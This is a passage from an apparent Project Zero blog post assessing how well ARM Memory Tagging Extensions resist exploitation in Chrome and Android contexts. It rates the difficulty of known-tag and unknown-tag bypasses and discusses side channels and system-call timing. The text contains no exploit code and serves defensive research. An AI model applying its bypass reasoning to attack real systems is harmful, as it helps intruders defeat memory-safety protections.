5pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;background-color:#ffe599;border-left-style:solid;border-bottom-width:1pt;width:30pt;border-top-color:#000000;border-bottom-style:solid}.scumOdHlnr-c50{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;background-color:#f9cb9c;border-left-style:solid;border-bottom-width:1pt;width:29.2pt;border-top-color:#000000;border-bottom-style:solid}.scumOdHlnr-c32{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;background-color:#b6d7a8;border-left-style:solid;border-bottom-width:1pt;width:150.8pt;border-top-color:#000000;border-bottom-style:solid}.scumOdHlnr-c39{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;background-color:#f9cb9c;border-left-style:solid;border-bottom-width:1pt;width:109.5pt;border-top-color:#000000;border-bottom-style:solid}.scumOdHlnr-c19{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;background-color:#b6d7a8;border-left-style:solid;border-bottom-width:1pt;width:216.8pt;border-top-color:#000000;border-bottom-style:solid}.scumOdHlnr-c23{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;background-color:#ffe599;border-left-style:solid;border-bottom-width:1pt;width:219pt;border-top-color:#000000;border-bottom-style:solid}.scumOdHlnr-c15{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;background-color:#f9cb9c;border-left-style:solid;border-bottom-width:1pt;width:219pt;border-top-color:#000000;border-bottom-style:solid}.scumOdHlnr-c27{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;background-color:#b6d7a8;border-left-style:solid;border-bottom-width:1pt;width:219pt;border-top-color:#000000;border-bottom-style:solid}.scumOdHlnr-c21{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;background-color:#ffe599;border-left-style:solid;border-bottom-width:1pt;width:29.2pt;border-top-color:#000000;border-bottom-style:solid}.scumOdHlnr-c45{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;background-color:#ea9999;border-left-style:solid;border-bottom-width:1pt;width:219pt;border-top-color:#000000;border-bottom-style:solid}.scumOdHlnr-c14{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;background-color:#ea9999;border-left-style:solid;border-bottom-width:1pt;width:216.8pt;border-top-color:#000000;border-bottom-style:solid}.scumOdHlnr-c2{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;border-left-style:solid;border-bottom-width:1pt;width:39pt;border-top-color:#000000;border-bottom-style:solid}.scumOdHlnr-c25{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;border-left-style:solid;border-bottom-width:1pt;width:153.8pt;border-top-color:#000000;border-bottom-style:solid}.scumOdHlnr-c52{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;border-left-style:solid;border-bottom-width:1pt;width:219pt;border-top-color:#000000;border-bottom-style:solid}.scumOdHlnr-c61{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;border-left-style:solid;border-bottom-width:1pt;width:150.8pt;border-top-color:#000000;border-bottom-style:solid}.scumOdHlnr-c55{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;border-left-style:solid;border-bottom-width:1pt;width:29.2pt;border-top-color:#000000;border-bottom-style:solid}.scumOdHlnr-c31{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;border-left-style:solid;border-bottom-width:1pt;width:30pt;border-top-color:#000000;border-bottom-style:solid}.scumOdHlnr-c40{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;border-left-style:solid;border-bottom-width:1pt;width:109.5pt;border-top-color:#000000;border-bottom-style:solid}.scumOdHlnr-c7{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;border-left-style:solid;border-bottom-width:1pt;width:45pt;border-top-color:#000000;border-bottom-style:solid}.scumOdHlnr-c38{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;border-left-style:solid;border-bottom-width:1pt;width:435.8pt;border-top-color:#000000;border-bottom-style:solid}.scumOdHlnr-c37{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;border-left-style:solid;border-bottom-width:1pt;width:216.8pt;border-top-color:#000000;border-bottom-style:solid}.scumOdHlnr-c59{padding-top:0pt;padding-bottom:3pt;line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}.scumOdHlnr-c51{background-color:#ffffff;padding-top:18pt;padding-bottom:6pt;line-height:1.38;orphans:2;widows:2;text-align:left}.scumOdHlnr-c1{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:11pt;font-family:"Google Sans";font-style:normal}.scumOdHlnr-c48{padding-top:16pt;padding-bottom:4pt;line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}.scumOdHlnr-c41{color:#000000;font-weight:700;text-decoration:none;vertical-align:baseline;font-size:11pt;font-family:"Google Sans";font-style:normal}.scumOdHlnr-c0{-webkit-text-decoration-skip:none;color:#1155cc;font-weight:400;text-decoration:underline;vertical-align:super;text-decoration-skip-ink:none;font-family:"Google Sans"}.scumOdHlnr-c16{color:#666666;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:15pt;font-family:"Arial";font-style:normal}.scumOdHlnr-c5{padding-top:0pt;padding-bottom:0pt;line-height:1.5;orphans:2;widows:2;text-align:left}.scumOdHlnr-c69{padding-top:0pt;padding-bottom:16pt;line-height:1.5;orphans:2;widows:2;text-align:left}.scumOdHlnr-c11{padding-top:0pt;padding-bottom:0pt;line-height:1.5;orphans:2;widows:2;text-align:justify}.scumOdHlnr-c63{color:#000000;text-decoration:none;vertical-align:baseline;font-size:26pt;font-style:normal}.scumOdHlnr-c3{padding-top:0pt;padding-bottom:0pt;line-height:1.0;text-align:center;height:11pt}.scumOdHlnr-c43{color:#000000;text-decoration:none;vertical-align:baseline;font-size:12pt;font-style:normal}.scumOdHlnr-c44{color:#434343;text-decoration:none;vertical-align:baseline;font-size:13pt;font-style:normal}.scumOdHlnr-c54{color:#000000;text-decoration:none;vertical-align:baseline;font-size:11pt;font-style:normal}.scumOdHlnr-c8{padding-top:0pt;padding-bottom:0pt;line-height:1.0;text-align:left;height:11pt}.scumOdHlnr-c56{color:#000000;text-decoration:none;vertical-align:baseline;font-size:13pt;font-style:normal}.scumOdHlnr-c65{color:#000000;text-decoration:none;vertical-align:baseline;font-size:9pt;font-style:normal}.scumOdHlnr-c10{padding-top:0pt;padding-bottom:0pt;line-height:1.0;text-align:left}.scumOdHlnr-c70{color:#000000;text-decoration:none;vertical-align:baseline;font-style:normal}.scumOdHlnr-c18{-webkit-text-decoration-skip:none;color:#1155cc;text-decoration:underline;text-decoration-skip-ink:none}.scumOdHlnr-c60{border-spacing:0;border-collapse:collapse;margin-right:auto}.scumOdHlnr-c22{background-color:#ffffff;max-width:468pt;padding:72pt 72pt 72pt 72pt}.scumOdHlnr-c35{background-color:#b6d7a8;font-family:"Google Sans";font-weight:700}.scumOdHlnr-c67{font-family:Consolas,"Courier New";color:#0d904f;font-weight:400}.scumOdHlnr-c17{background-color:#dd7e6b;font-family:"Google Sans";font-weight:700}.scumOdHlnr-c9{font-size:10pt;font-family:"Google Sans";font-weight:400}.scumOdHlnr-c53{font-weight:400;font-family:"Arial"}.scumOdHlnr-c49{font-weight:400;font-family:"Roboto Mono"}.scumOdHlnr-c12{color:inherit;text-decoration:inherit}.scumOdHlnr-c42{font-weight:700;font-family:"Google Sans"}.scumOdHlnr-c13{font-weight:400;font-family:"Google Sans"}.scumOdHlnr-c30{padding:0;margin:0}.scumOdHlnr-c57{margin-left:36pt;padding-left:0pt}.scumOdHlnr-c66{height:23.5pt}.scumOdHlnr-c24{height:21pt}.scumOdHlnr-c58{font-size:13pt}.scumOdHlnr-c64{page-break-after:avoid}.scumOdHlnr-c46{background-color:#d9d9d9}.scumOdHlnr-c47{background-color:#ea9999}.scumOdHlnr-c68{background-color:#b6d7a8}.scumOdHlnr-c62{background-color:#ffe599}.scumOdHlnr-c34{height:11pt}.title{padding-top:0pt;color:#000000;font-size:26pt;padding-bottom:3pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}.subtitle{padding-top:0pt;color:#666666;font-size:15pt;padding-bottom:16pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}li{color:#000000;font-size:11pt;font-family:"Arial"}p{margin:0;color:#000000;font-size:11pt;font-family:"Arial"}h1{padding-top:20pt;color:#000000;font-size:20pt;padding-bottom:6pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h2{padding-top:18pt;color:#000000;font-size:16pt;padding-bottom:6pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h3{padding-top:16pt;color:#434343;font-size:14pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h4{padding-top:0pt;color:#000000;font-size:9pt;padding-bottom:0pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h5{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h6{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;font-style:italic;orphans:2;widows:2;text-align:left}</style></head><body class="c22 doc-content">
<p class="scumOdHlnr-c11"><span class="scumOdHlnr-c13">By Mark Brand, Project Zero</span></p><h2 class="scumOdHlnr-c51" id="h.mhon2p3h4smq"><span class="scumOdHlnr-c13 scumOdHlnr-c56">Background</span></h2>
<p class="scumOdHlnr-c5"><span class="scumOdHlnr-c13">In 2018, in the </span><span class="scumOdHlnr-c18 scumOdHlnr-c13"><a class="scumOdHlnr-c121" href="https://community.arm.com/arm-community-blogs/b/architectures-and-processors-blog/posts/arm-a-profile-architecture-2018-developments-armv85a">v8.5a version</a></span><span class="scumOdHlnr-c1"> of the ARM architecture, ARM proposed a hardware implementation of tagged memory, referred to as MTE (Memory Tagging Extensions).<br></span></p>
<p class="scumOdHlnr-c5"><span class="scumOdHlnr-c13">In </span><span class="scumOdHlnr-c18 scumOdHlnr-c13"><a class="scumOdHlnr-c121" href="https://googleprojectzero.blogspot.com/2023/08/mte-as-implemented-part-1.html">Part 1</a></span><span class="scumOdHlnr-c1"> we discussed testing the technical (and implementation) limitations of MTE on the hardware that we've had access to. This post will now consider the implications of what we know on the effectiveness of MTE-based mitigations in several important products/contexts.</span></p>
<p class="scumOdHlnr-c5 scumOdHlnr-c34"><span class="scumOdHlnr-c1"></span></p>
<p class="scumOdHlnr-c5"><span class="scumOdHlnr-c13">To summarize - t</span><span class="scumOdHlnr-c13">here are two key classes of bypass techniques for memory-tagging based mitigations, and these are the following (</span><span class="scumOdHlnr-c13">for some </span><span class="scumOdHlnr-c13">examples, see </span><span class="scumOdHlnr-c13 scumOdHlnr-c18"><a class="scumOdHlnr-c121" href="https://googleprojectzero.blogspot.com/2023/08/mte-as-implemented-part-1.html">Part 1</a></span><span class="scumOdHlnr-c13">)</span><span class="scumOdHlnr-c1">:</span></p><ol class="c30 lst-kix_46kwnuz47r-0 start" start="1"><li style="margin-left: 46pt;" class="c5 c57 li-bullet-0"><span class="scumOdHlnr-c42">Known-tag-bypasses</span><span class="scumOdHlnr-c13"> - In general, confidentiality of tag values is key to the effectiveness of memory-tagging as a mitigation. </span><span class="scumOdHlnr-c13">A breach of tag confidentiality allows the attacker to directly or indirectly ensure that their invalid memory accesses will be correctly tagged, and are therefore not detectable.</span></li><li style="margin-left: 46pt;" class="c5 c57 li-bullet-0"><span class="scumOdHlnr-c42">Unknown-tag-bypasses</span><span class="scumOdHlnr-c13"> - Implementation limits might mean that there are opportunities for an attacker to still exploit a vulnerability despite performing memory accesses with incorrect tags that could be detected.</span></li></ol>
<p class="scumOdHlnr-c5 scumOdHlnr-c34"><span class="scumOdHlnr-c1"></span></p>
<p class="scumOdHlnr-c5"><span class="scumOdHlnr-c13">There are two main modes for MTE enforcement: </span></p><ol class="c30 lst-kix_cp4qttrp12lb-0 start" start="1"><li style="margin-left: 46pt;" class="c5 c57 li-bullet-0"><span class="scumOdHlnr-c42">Synchronous (sync-MTE)</span><span class="scumOdHlnr-c1"> - tag check failures result in a hardware fault on instruction retirement. This means that the results of invalid reads and the effects of invalid writes should not be architecturally observable.</span></li><li style="margin-left: 46pt;" class="c5 c57 li-bullet-0"><span class="scumOdHlnr-c42">Asynchronous (async-MTE)</span><span class="scumOdHlnr-c13"> - tag check failures do not directly result in a fault. The results of invalid reads and the effects of invalid writes are architecturally observable, and the failure is delivered at some point after the faulting instruction in the form of a per-cpu flag.<br></span></li></ol>
<p class="scumOdHlnr-c5"><span class="scumOdHlnr-c13">Since Spectre, it has been clear that using standard memory-tagging approaches as a "hard probabilistic mitigation"</span><span class="scumOdHlnr-c0"><a class="scumOdHlnr-c12" href="#h.xivuzilpjgfi">1</a></span><span class="scumOdHlnr-c13"> </span><span class="scumOdHlnr-c1">is not generally possible. In any context where an attacker can construct a speculative side-channel, known-tag-bypasses are a fundamental weakness that must be accounted for.</span></p>
<p class="scumOdHlnr-c5 scumOdHlnr-c34"><span class="scumOdHlnr-c1"></span></p>
<p class="scumOdHlnr-c5"><span class="scumOdHlnr-c13">Another proposed approach is combining MTE with another software approach to construct a "hard deterministic mitigation"</span><span class="scumOdHlnr-c0"><a class="scumOdHlnr-c12" href="#h.2li82hlequ8">2</a></span><span class="scumOdHlnr-c13">. The primary example of this would be the </span><span class="scumOdHlnr-c18 scumOdHlnr-c13"><a class="scumOdHlnr-c121" href="https://security.googleblog.com/2022/05/retrofitting-temporal-memory-safety-on-c.html">*Scan+MTE combinations</a></span><span class="scumOdHlnr-c13"> proposed in Chrome to mitigate use-after-free vulnerabilities by ensuring that a tag is not re-used for an allocation while there are any stale pointers pointing to that allocation. </span><span class="scumOdHlnr-c13"><br></span><span class="scumOdHlnr-c1"><br>In this case, is async-MTE sufficient as an effective mitigation? We have demonstrated techniques that allow an unknown-tag-bypass when using async-MTE, so it seems clear that for a "hard" mitigation, (at least) sync-MTE will be necessary. This should not, however, be interpreted as implying that such a "soft" mitigation would not prove a significant inconvenience to attackers - we're going to discuss that in detail below.</span></p><h2 class="scumOdHlnr-c51" id="h.a463b3pclyoa"><span class="scumOdHlnr-c56 scumOdHlnr-c13">How much would MTE hurt attackers?</span></h2>
<p class="scumOdHlnr-c5"><span class="scumOdHlnr-c1">In order to understand the "additional difficulty" that attackers will face in writing exploits that can bypass MTE based mitigations, we need to consider carefully the context in which the attacker finds themself.</span></p>
<p class="scumOdHlnr-c5 scumOdHlnr-c34"><span class="scumOdHlnr-c1"></span></p>
<p class="scumOdHlnr-c5"><span class="scumOdHlnr-c13">We have made some assumptions here about the target reliability that a high-tier attacker would </span><span class="scumOdHlnr-c13">want</span><span class="scumOdHlnr-c13"> as around 95% - this is likely lower than currently expected in most cases, but probably higher than the absolute limit at which an exploit might become too unreliable for their operational needs. We also note that in some contexts an attacker might be able to use even an extremely unreliable exploit without significantly increasing their risk of detection. While we'd expect attackers to desire (and invest in) achieving reliability, </span><span class="scumOdHlnr-c42">it's unlikely that even if we could force an upper bound to that reliability this would be enough to completely prevent exploitation</span><span class="scumOdHlnr-c1">. <br><br>However, any such drop in reliability should generally be expected to increase detection of in-the-wild usage of exploits, increasing the risk to attackers accordingly.<br><br>An additional note is that most unknown-tag-bypasses would be prevented by the use of sync-MTE, at least in the absence of specific weaknesses in the application which would over time likely be fixed as exploits are observed exploiting those weaknesses.</span></p>
<p class="scumOdHlnr-c5 scumOdHlnr-c34"><span class="scumOdHlnr-c1"></span></p>
<p class="scumOdHlnr-c5"><span class="scumOdHlnr-c13">We consider 4 main contexts here, as we believe these are the most relevant/likely use-cases for a usermode mitigation:</span></p>
<p class="scumOdHlnr-c5 scumOdHlnr-c34"><span class="scumOdHlnr-c1"></span></p><a id="t.6e3acb30f2e22505f94e79f2f361b410ee5ed46e"></a><a id="t.0"></a><table class="scumOdHlnr-c60"><tr class="scumOdHlnr-c66"><td class="scumOdHlnr-c25" colspan="1" rowspan="2">
<p class="scumOdHlnr-c8"><span class="scumOdHlnr-c41"></span></p>
<p class="scumOdHlnr-c10"><span class="scumOdHlnr-c41">Context</span></p></td><td class="scumOdHlnr-c7" colspan="1" rowspan="2">
<p class="scumOdHlnr-c8"><span class="scumOdHlnr-c41"></span></p>
<p class="scumOdHlnr-c10"><span class="scumOdHlnr-c41">Mode</span></p></td><td class="scumOdHlnr-c38" colspan="6" rowspan="1">
<p class="scumOdHlnr-c10"><span class="scumOdHlnr-c42">Bypass techniques</span></p></td></tr><tr class="scumOdHlnr-c24"><td class="scumOdHlnr-c37" colspan="3" rowspan="1">
<p class="scumOdHlnr-c10"><span class="scumOdHlnr-c42">known-tag-bypass</span></p></td><td class="scumOdHlnr-c52" colspan="3" rowspan="1">
<p class="scumOdHlnr-c10"><span class="scumOdHlnr-c42">unknown-tag-bypass</span></p></td></tr><tr class="scumOdHlnr-c24"><td class="scumOdHlnr-c25" colspan="1" rowspan="2">
<p class="scumOdHlnr-c10"><span class="scumOdHlnr-c1">Chrome: Renderer Exploit</span></p></td><td class="scumOdHlnr-c7 scumOdHlnr-c46" colspan="1" rowspan="1">
<p class="scumOdHlnr-c10"><span class="scumOdHlnr-c1">async</span></p></td><td class="scumOdHlnr-c14" colspan="3" rowspan="1">
<p class="scumOdHlnr-c10"><span class="scumOdHlnr-c9">Trivial</span><span class="scumOdHlnr-c9"> </span><span class="scumOdHlnr-c9">♻️</span></p></td><td class="scumOdHlnr-c45" colspan="3" rowspan="1">
<p class="scumOdHlnr-c10"><span class="scumOdHlnr-c9">Likely trivial ♻️</span></p></td></tr><tr class="scumOdHlnr-c24"><td class="scumOdHlnr-c7" colspan="1" rowspan="1">
<p class="scumOdHlnr-c10"><span class="scumOdHlnr-c1">sync</span></p></td><td class="scumOdHlnr-c14" colspan="3" rowspan="1">
<p class="scumOdHlnr-c10"><span class="scumOdHlnr-c9">Trivial ♻️</span></p></td><td class="scumOdHlnr-c23" colspan="3" rowspan="1">
<p class="scumOdHlnr-c10"><span class="scumOdHlnr-c9">Bypass techniques should be rare 🛠️</span></p></td></tr><tr class="scumOdHlnr-c24"><td class="scumOdHlnr-c25" colspan="1" rowspan="2">
<p class="scumOdHlnr-c10"><span class="scumOdHlnr-c1">Chrome: IPC Sandbox Escape</span></p></td><td class="scumOdHlnr-c7 scumOdHlnr-c46" colspan="1" rowspan="1">
<p class="scumOdHlnr-c10"><span class="scumOdHlnr-c1">async</span></p></td><td class="scumOdHlnr-c6" colspan="3" rowspan="1">
<p class="scumOdHlnr-c10"><span class="scumOdHlnr-c9">Likely possible in many cases ♻️</span></p></td><td class="scumOdHlnr-c15" colspan="3" rowspan="1">
<p class="scumOdHlnr-c10"><span class="scumOdHlnr-c9">Likely possible in many cases 🐛*</span></p></td></tr><tr class="scumOdHlnr-c24"><td class="scumOdHlnr-c7" colspan="1" rowspan="1">
<p class="scumOdHlnr-c10"><span class="scumOdHlnr-c1">sync</span></p></td><td class="scumOdHlnr-c6" colspan="3" rowspan="1">
<p class="scumOdHlnr-c10"><span class="scumOdHlnr-c9">Likely possible in many cases ♻️</span></p></td><td class="scumOdHlnr-c27" colspan="3" rowspan="1">
<p class="scumOdHlnr-c10"><span class="scumOdHlnr-c9">Bypass techniques should be rare 🛠️</span></p></td></tr><tr class="scumOdHlnr-c24"><td class="scumOdHlnr-c25" colspan="1" rowspan="2">
<p class="scumOdHlnr-c10"><span class="scumOdHlnr-c1">Android: Binder Sandbox Escape</span></p></td><td class="scumOdHlnr-c7 scumOdHlnr-c46" colspan="1" rowspan="1">
<p class="scumOdHlnr-c10"><span class="scumOdHlnr-c1">async</span></p></td><td class="scumOdHlnr-c29" colspan="3" rowspan="1">
<p class="scumOdHlnr-c10"><span class="scumOdHlnr-c9">Difficulty will depend on service</span></p></td><td class="scumOdHlnr-c23" colspan="3" rowspan="1">
<p class="scumOdHlnr-c5"><span class="scumOdHlnr-c9">Difficulty will depend on service 🐛*</span></p></td></tr><tr class="scumOdHlnr-c24"><td class="scumOdHlnr-c7" colspan="1" rowspan="1">
<p class="scumOdHlnr-c10"><span class="scumOdHlnr-c1">sync</span></p></td><td class="scumOdHlnr-c29" colspan="3" rowspan="1">
<p class="scumOdHlnr-c10"><span class="scumOdHlnr-c9">Difficulty will depend on service</span></p></td><td class="scumOdHlnr-c27" colspan="3" rowspan="1">
<p class="scumOdHlnr-c10"><span class="scumOdHlnr-c9">Bypass techniques should be rare 🛠️</span></p></td></tr><tr class="scumOdHlnr-c24"><td class="scumOdHlnr-c25" colspan="1" rowspan="2">
<p class="scumOdHlnr-c10"><span class="scumOdHlnr-c1">Android: Messaging App Oneshot</span></p></td><td class="scumOdHlnr-c7 scumOdHlnr-c46" colspan="1" rowspan="1">
<p class="scumOdHlnr-c10"><span class="scumOdHlnr-c1">async</span></p></td><td class="scumOdHlnr-c19" colspan="3" rowspan="1">
<p class="scumOdHlnr-c10"><span class="scumOdHlnr-c13">Likely impossible in most cases</span></p></td><td class="scumOdHlnr-c27" colspan="3" rowspan="1">
<p class="scumOdHlnr-c5"><span class="scumOdHlnr-c9">Good enough bugs will be very rare 🐛*</span></p></td></tr><tr class="scumOdHlnr-c24"><td class="scumOdHlnr-c7" colspan="1" rowspan="1">
<p class="scumOdHlnr-c10"><span class="scumOdHlnr-c1">sync</span></p></td><td class="scumOdHlnr-c19" colspan="3" rowspan="1">
<p class="scumOdHlnr-c10"><span class="scumOdHlnr-c13">Likely impossible in most cases</span></p></td><td class="scumOdHlnr-c27" colspan="3" rowspan="1">
<p class="scumOdHlnr-c10"><span class="scumOdHlnr-c9">Bypass techniques should be rare 🛠️</span></p></td></tr></table>
<p class="scumOdHlnr-c5 scumOdHlnr-c34"><span class="scumOdHlnr-c9 scumOdHlnr-c70"></span></p>
<p class="scumOdHlnr-c5"><span class="scumOdHlnr-c13">The degree of pain for attackers caused by needing to bypass MTE is roughly assessed from </span><span class="scumOdHlnr-c17">low</span><span class="scumOdHlnr-c13"> to </span><span class="scumOdHlnr-c35">very high</span><span class="scumOdHlnr-c1">.</span></p>
<p class="scumOdHlnr-c5 scumOdHlnr-c34"><span class="scumOdHlnr-c1"></span></p>
<p class="scumOdHlnr-c10"><span class="scumOdHlnr-c1">♻️: Once developed, generic bypass technique can likely be shared between exploits.</span></p>
<p class="scumOdHlnr-c10"><span class="scumOdHlnr-c13">🛠️: Limited supply of bypass techniques that could be fixed, eventually eliminating this bypass.</span></p>
<p class="scumOdHlnr-c5"><span class="scumOdHlnr-c1">🐛: Additional constraints imposed by bypass techniques mean that the subset of issues that are exploitable is significantly reduced with MTE.</span></p>
<p class="scumOdHlnr-c8"><span class="scumOdHlnr-c1"></span></p>
<p class="scumOdHlnr-c10"><span class="scumOdHlnr-c1">* Note that it's also potentially possible to design software to make exploitation of these unknown-tag-bypass techniques more restrictive by eg. inserting system calls in specific choke-points. We haven't investigated the practicality or limitations of such an approach at this time, but it is unlikely to be generally applicable especially where third-party code is involved.</span></p><h3 class="scumOdHlnr-c48" id="h.w0e3nl655uck"><span class="scumOdHlnr-c44 scumOdHlnr-c53">Chrome: Javascript -> Compromised Renderer</span></h3>
<p class="scumOdHlnr-c5"><span class="scumOdHlnr-c1">Spectre-type speculative side-channels can be used to break tag confidentiality, so known-tag-bypasses are a certainty. </span></p>
<p class="scumOdHlnr-c5 scumOdHlnr-c34"><span class="scumOdHlnr-c1"></span></p>
<p class="scumOdHlnr-c5"><span class="scumOdHlnr-c1">For unknown-tag-bypasses, javascript should in most situations be able to avoid system calls for the duration of their exploit, so the exploit needs to complete within the soft time constraint.<br><br>It's likely that both known-tag-bypass and unknown-tag-bypass techniques can be made generic and reused across multiple different vulnerabilities.</span></p><h3 class="scumOdHlnr-c48" id="h.ibcibs90cbyi"><span class="scumOdHlnr-c44 scumOdHlnr-c13">Chrome: Compromised Renderer -> Mojo IPC Sandbox Escape</span></h3>
<p class="scumOdHlnr-c5"><span class="scumOdHlnr-c1">It is likely that Spectre-type speculative side-channels can be used to break tag confidentiality, so known-tag-bypasses are a possibility.</span></p>
<p class="scumOdHlnr-c5 scumOdHlnr-c34"><span class="scumOdHlnr-c1"></span></p>
<p class="scumOdHlnr-c5"><span class="scumOdHlnr-c13">For unknown-tag-bypasses, </span><span class="scumOdHlnr-c13">we</span><span class="scumOdHlnr-c13"> believe</span><span class="scumOdHlnr-c13"> that there are circumstances under which multiple IPC messages can be processed without a system call in between. This does not hold for all situations, and the current public state-of-the-art techniques for Browser process IPC exploitation would perform multiple system calls and would not be suitable.<br></span><span class="scumOdHlnr-c1"><br>It's possible that a generic speculative-side-channel attack could be developed that would allow reuse of techniques for known-tag-bypasses against a specific privileged process (likely the Browser process). Any unknown-tag-bypass exploit would likely require additional per-bug cost to develop due to the additional complexity required in avoiding system calls for the duration of the exploit.</span></p><h3 class="scumOdHlnr-c48" id="h.gbl9oh532iex"><span class="scumOdHlnr-c13 scumOdHlnr-c58">Android: App -> Binder IPC Sandbox Escape</span></h3>
<p class="scumOdHlnr-c5"><span class="scumOdHlnr-c1">It is likely that Spectre-type speculative side-channels can be used to break tag confidentiality, so known-tag-bypasses are a possibility.</span></p>
<p class="scumOdHlnr-c5"><span class="scumOdHlnr-c13"><br>For unknown-tag-bypasses we note that there is a mandatory system call </span><span class="scumOdHlnr-c67">ioctl(..., BINDER_WRITE_READ, …)</span><span class="scumOdHlnr-c13"> between different IPC messages. This implies that an exploit would need to complete within the execution of the triggering IPC message in addition to meeting the soft time constraint.<br><br>As there are a large number of different Binder IPC services hosted in different processes, a known-tag-bypass technique is less likely to be reusable between different vulnerabilities. The exploitation of unknown-tag-bypasses is unlikely to be reusable, and will require specific per-vulnerability development.<br><br></span><span class="scumOdHlnr-c13">An additional note - at present, </span><span class="scumOdHlnr-c49">.data</span><span class="scumOdHlnr-c13"> section pointers are not tagged, so the zygote architecture means that pointer-forging between some contexts would be easy for an attacker, which could be a useful technique for exploiting some vulnerabilities leading to second-order memory corruption (eg. type confusion allowing an attacker to treat data as a pointer).</span></p><h3 class="scumOdHlnr-c48" id="h.tn3y2jns4s14"><span class="scumOdHlnr-c44 scumOdHlnr-c13">Android: Remote -> Messaging App</span></h3>
<p class="scumOdHlnr-c5"><span class="scumOdHlnr-c1">It is unlikely that Spectre-type speculative side-channels can be used to break tag confidentiality, so known-tag-bypasses are highly unlikely, unless the application allows alternative side channels (or eg. repeated exploitation attempts until the tag is correct).</span></p>
